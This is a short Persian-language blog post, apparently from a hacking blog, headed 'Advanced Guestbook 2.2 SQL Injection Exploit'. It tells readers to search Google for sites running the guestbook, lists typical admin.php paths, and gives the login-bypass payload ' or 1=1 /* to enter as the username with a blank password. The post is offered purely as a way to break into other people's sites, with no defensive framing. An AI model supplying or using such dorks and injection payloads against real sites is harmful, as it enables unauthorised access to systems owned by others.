تبليغاتX
Terror Hellish -

Terror Hellish

(جنایت جهنمی)

 Advanced Guestbook 2.2 SQL Injection Exploit

سلام دوستان
شما با استفاده از این اکسپولیت GuestBook سایت های Admin.php رو بزنید

در گوگل این رو سرچ کنید >>
powered by admin.php guestbook
یا هر چیز دیگری که میتونه این جور سایت ها رو پیدا کنه .
شکل آدرس سایت هم میتونه به شکل ها ی زیر باشه ( البته این چند نمونش هست )
http://www.example.com/guests/admin.php
http://www.example.com/guestbookludt/admin.php
http://www.example.com/comments/admin.php
و ...........
حالا وقتی وارد این صفحه های لوگین ادمین شدید در قسمت Username فقط
......!
کد:
UserName: ' or 1=1 /*

و در قسمت پسورد هم هیچی ننویسید
موفق باشید
+ نوشته شده در  پنجشنبه بیست و ششم آبان 1384ساعت 17:10  توسط   |